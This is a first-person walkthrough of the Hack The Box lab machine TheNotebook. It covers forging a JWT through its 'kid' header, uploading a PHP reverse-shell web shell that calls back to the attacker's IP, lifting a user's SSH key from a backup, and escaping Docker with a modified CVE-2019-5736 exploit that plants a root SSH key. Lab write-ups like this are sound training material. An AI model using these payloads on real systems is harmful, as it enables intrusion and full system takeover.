TheNotebook from Hack The Box hosts a web-based note application and it uses a JWT token for its authentication cookie. The token can be forged to escalate myself to admin. With admin-level access, it is possible to drop a PHP web shell using the upload functionality, resulting in shell access to the system. Enumerating on the system discovers a backup file that contains SSH keys of a user. The user is allowed run a Docker container with sudo
permissions. The Docker version in this machine is vulnerable to CVE-2019-5736. Along with the sudo
permissions, the Docker vulnerability can be exploited to gain root access.
Skills Learned
- JWT Key ID
- Docker breakout using CVE-2019-573
Tools
- Nmap
- https://jwt.io
Reconnaissance
Nmap
A full TCP scan discovers two open ports, SSH on port 22 and a NGINX web server on port 80.
→ kali@kali «thenotebook» «10.10.14.17»
$ fscan 10.10.10.230 thenotebook
nmap -p- --min-rate=1000 10.10.10.230 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p22,80,10010 -sC -sV -oA nmap/10-tcp-allport-thenotebook 10.10.10.230
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-07 02:29 EDT
Nmap scan report for 10.10.10.230
Host is up (0.10s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
| 256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_ 256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
10010/tcp filtered rxapi
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.67 seconds
Enumeration
TCP 80 - Website
On port 80, the machine hosts a web application called “The Notebook”.
I tried some default credentials on the login page, but no luck, so I will just register an account.
And the site automatically logs me in.
I can create a note on /notes
. I will setup a Python web server and I add a note that contains my HTB IP. Unfortunately, there is no incoming request on my web server.
My note has link of 10.10.10.230/f5379278-9969-4a8e-8fa5-969ec9ebf525/notes/8
. Because the second path looks like a GUID which is unique, so I think the attack is not an IDOR.
Although, I said it’s not an IDOR, I have a cool trick to share:
→ kali@kali «thenotebook» «10.10.14.17»
$ curl -sI 10.10.10.230/f5379278-9969-4a8e-8fa5-969ec9ebf525/notes/{7..8}
HTTP/1.1 401 UNAUTHORIZED
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 07 Aug 2021 07:07:48 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12
Connection: keep-alive
HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Sat, 07 Aug 2021 07:07:49 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1710
Connection: keep-alive
Gobuster
Running a gobuster
scan reveals that there is an admin page (/admin
), but I have no access there.
→ kali@kali «thenotebook» «10.10.14.17»
$ gobuster dir -u http://10.10.10.230/ -w /opt/SecLists/Discovery/Web-Content/common.txt -x txt -o gobuster/gobuster-S-80 -t 40
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.230/
[+] Method: GET
[+] Threads: 40
[+] Wordlist: /opt/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: txt
[+] Timeout: 10s
===============================================================
2021/08/07 02:44:26 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 403) [Size: 9]
/login (Status: 200) [Size: 1250]
/logout (Status: 302) [Size: 209] [--> http://10.10.10.230/]
/register (Status: 200) [Size: 1422]
===============================================================
2021/08/07 02:44:49 Finished
===============================================================
Playing with JWT Cookie
While inspecting the browser storage, I find the site generates two cookie: auth
and uuid
. The auth
cookie is a JWT token.
Note: JWT token consists of header, payload, and signature that are separated by a dot and each part is encoded with base64.
The auth
cookie can decoded using jwt.io.
The value of kid
(key identifier) and admin_cap
are interesting vectors to play with. First, I will grab the header value and decode it.
→ kali@kali «thenotebook» «10.10.14.17»
$ echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly9sb2NhbGhvc3Q6NzA3MC9wcml2S2V5LmtleSJ9' | base64 -d
{"typ":"JWT","alg":"RS256","kid":"http://localhost:7070/privKey.key"}
I can try to modify the kid
value to point to my IP, then I will encode the header back to base64.
→ kali@kali «thenotebook» «10.10.14.17»
$ echo -n '{"typ":"JWT","alg":"RS256","kid":"http://10.10.14.17/privKey.key"}' | base64 -w0
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6Imh0dHA6Ly8xMC4xMC4xNC4xNy9wcml2S2V5LmtleSJ9
I will put back the forged header to the auth
cookie and setup a Python web server afterwards.
When I refresh the page, there is an incoming request for privKey.key
to my web server.
Foothold
Shell as www-data
Escalate to web admin
Since the kid
value can be controlled by me, I can forge a token that has admin_cap
value set to true
and so the app will look for my private key and eventually validates my forged token using that key.
First, I will create privKey.key
using ssh-keygen
. I will host this key using Python web server.
→ kali@kali «exploits» «10.10.14.17»
$ ssh-keygen -t rsa -P "" -b 4096 -m PEM -f privKey.key
Generating public/private rsa key pair.
Your identification has been saved in privKey.key
Your public key has been saved in privKey.key.pub
The key fingerprint is:
SHA256:IWMd7YYOw6gQT2tpGCtbx3Iaav2yW1qs8lyYGVl90fo kali@kali
The key's randomart image is:
+---[RSA 4096]----+
| .o. |
|o . .. .o. |
| B + ++.o+. |
|= X B.+oooo |
|.B.X +S.. |
|o.o.* . E |
|. +.= |
| ...*. |
| oB+ |
+----[SHA256]-----+
I will head to jwt.io to forge a new token and sign it using my privKey.key
, and I will put this forged token to the auth
cookie.
When I refresh the browser, a new menu called “Admin Panel” pops up.
Clicking the Admin Panel points to /admin
where I see two options there: View Notes
and Upload File
.
The View Notes
button links to /admin/viewnotes
, and in this page all users’ note can be viewed by the admin.
Two interesting notes created by the admin are titled: Need to fix config
and Backups are scheduled
. The first note contains information about a security issue.
The second note states that the server has regular backups set.
The File Upload
button points to /admin/upload
. This page provides an upload functionality.
Web Shell Upload
According to the note titled with Need to fix config
, I will try to drop the following PHP code on the upload page.
→ kali@kali «thenotebook» «10.10.14.17»
$ echo "<?php phpinfo(); ?>" > iamf-test.php
And the file gets uploaded.
The uploaded file can be accessed at http://10.10.10.230/48101bbdd897877cc62b8704a293a436.php
. When I visit the link, it processes the PHP code.
I will change the payload with the following PHP reverse shell and then setup a netcat listener.
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.17/53 0>&1'") ?>
When I get the file URL, I will use curl
to trigger the reverse shell.
→ kali@kali «thenotebook» «10.10.14.17»
$ curl -s http://10.10.10.230/11ee6b411f33fe8f9c49d1a02e5720b7.php
Now on my listener, I have an interactive shell access as www-data
.
→ kali@kali «thenotebook» «10.10.14.17»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.10.230] 39698
bash: cannot set terminal process group (1294): Inappropriate ioctl for device
bash: no job control in this shell
www-data@thenotebook:~/html$
Shell Upgrade
I will upgrade my shell to fully interactive one.
www-data@thenotebook:~/html$ which script
which script
/usr/bin/script
www-data@thenotebook:~/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@thenotebook:~/html$ ^Z
[1] + 5987 suspended nc -nvlp 53
→ kali@kali «thenotebook» «10.10.14.17»
$ stty raw -echo;fg
[1] + 5987 continued nc -nvlp 53
www-data@thenotebook:~/html$ stty rows 30 cols 106
www-data@thenotebook:~/html$ export TERM=xterm
Privilege Escalation
Shell as noah
Enumeration
Based on the previous admin notes, I start with enumeration of readable file that contains “backup” string. One that stands out is /var/backups/home.tar.gz
. I will grab that file to my attacking machine.
www-data@thenotebook:~/html$ find / -type f -readable 2>/dev/null | grep -i "backup"
...[SNIP]...
/var/backups/home.tar.gz
...[SNIP]...
The file contains an SSH private key for user noah
.
→ kali@kali «loot» «10.10.14.17»
$ tar -zxvf home.tar.gz
home/
home/noah/
home/noah/.bash_logout
home/noah/.cache/
home/noah/.cache/motd.legal-displayed
home/noah/.gnupg/
home/noah/.gnupg/private-keys-v1.d/
home/noah/.bashrc
home/noah/.profile
home/noah/.ssh/
home/noah/.ssh/id_rsa
home/noah/.ssh/authorized_keys
home/noah/.ssh/id_rsa.pub
SSH - noah
With the obtained private key, I can SSH login as noah .
→ kali@kali «thenotebook» «10.10.14.17»
$ ssh -i loot/home/noah/.ssh/id_rsa noah@10.10.10.230
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)
...[SNIP]...
System information as of Sat Aug 7 09:57:29 UTC 2021
System load: 0.03 Processes: 184
Usage of /: 46.1% of 7.81GB Users logged in: 0
Memory usage: 19% IP address for ens160: 10.10.10.230
Swap usage: 0% IP address for docker0: 172.17.0.1
...[SNIP]...
Last login: Wed Feb 24 09:09:34 2021 from 10.10.14.5
noah@thenotebook:~$ id
uid=1000(noah) gid=1000(noah) groups=1000(noah)
User flag is done here.
noah@thenotebook:~$ cat user.txt | sed -s 's/[a-f]/\*/g'
*881626900**9*271**710*266*9427*
Shell as root
Enumeration
User noah is allowed to run an interactive shell command to a container named webapp-dev01
as root.
noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User noah may run the following commands on thenotebook:
(ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*
And the currently installed docker is vulnerable to CVE-2019-5736. More details about the vulnerability can be read here.
noah@thenotebook:~$ docker version
Client:
Version: 18.06.0-ce
API version: 1.38
Go version: go1.10.3
Git commit: 0ffa825
Built: Wed Jul 18 19:09:54 2018
OS/Arch: linux/amd64
Experimental: false
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2Fvar%2Frun%2Fdocker.sock/v1.38/version: dial unix /var/run/docker.sock: connect: permission denied
Docker Breakout CVE-2019-5736
To exploit the docker CVE-2019-5736, I will be using this PoC by Frichetten. The exploit’s author also gives a nice writeup about what the exploit does.
I will clone the PoC to my working directory.
→ kali@kali «exploits» «10.10.14.17»
$ git clone https://github.com/Frichetten/CVE-2019-5736-PoC.git
Cloning into 'CVE-2019-5736-PoC'...
remote: Enumerating objects: 45, done.
remote: Total 45 (delta 0), reused 0 (delta 0), pack-reused 45
Receiving objects: 100% (45/45), 1.69 MiB | 254.00 KiB/s, done.
Resolving deltas: 100% (10/10), done.
In the main.go
, I will modify the payload variable with a bash script that will inject my SSH public key to root’s authorized_keys
file.
var payload = "#!/bin/bash \n mkdir -p /root/.ssh/ && echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINEBYhHk8/REIEriu8mkvQf4nihDP/deVl1j3Do/9R1H' > /root/.ssh/authorized_keys"
I will compile the PoC and host it.
→ kali@kali «CVE-2019-5736-PoC» «10.10.14.17» git:(master) ✗
$ go build -o breakout main.go && python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
On TheNotebook, I will have two SSH sessions. On the first SSH session, I will use it to download and execute the exploit within the container.
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 bash
root@0f4c2517af40:/opt/webapp# wget -q 10.10.14.17:8080/breakout && chmod +x breakout
root@0f4c2517af40:/opt/webapp# ./breakout
[+] Overwritten /bin/sh successfully
Then on the second session, I will run the sudo command.
noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 /bin/sh
But then, on the container session, I get the following error:
root@0f4c2517af40:/opt/webapp# ./breakout
[+] Overwritten /bin/sh successfully
[+] Found the PID: 17638
[+] Found the PID: self
strconv.Atoi: parsing "self": invalid syntax
To resolve that, at line 42 of the main.go
file, I will add another condition to ignore PID with name “self”.
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") {
if !strings.Contains(f.Name(), "self") { // Added by me
fmt.Println("[+] Found the PID:", f.Name())
found, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
} // end
}
}
I will re-compile the exploit and transfer it again to the container, and this time it works!
root@c8cf4072ca26:/opt/webapp# ./breakout
[+] Overwritten /bin/sh successfully
[+] Found the PID: 1729
[+] Getting file handle
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc000444000}
root@c8cf4072ca26:/opt/webapp#
The full process
SSH - Root
Now I can SSH login as root using my own private key.
→ kali@kali «thenotebook» «10.10.14.17»
$ ssh root@10.10.10.230
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-151-generic x86_64)
...[SNIP]...
System load: 0.1 Processes: 190
Usage of /: 46.1% of 7.81GB Users logged in: 1
Memory usage: 19% IP address for ens160: 10.10.10.230
Swap usage: 0% IP address for docker0: 172.17.0.1
...[SNIP]...
Last login: Fri Jul 23 14:27:18 2021
root@thenotebook:~#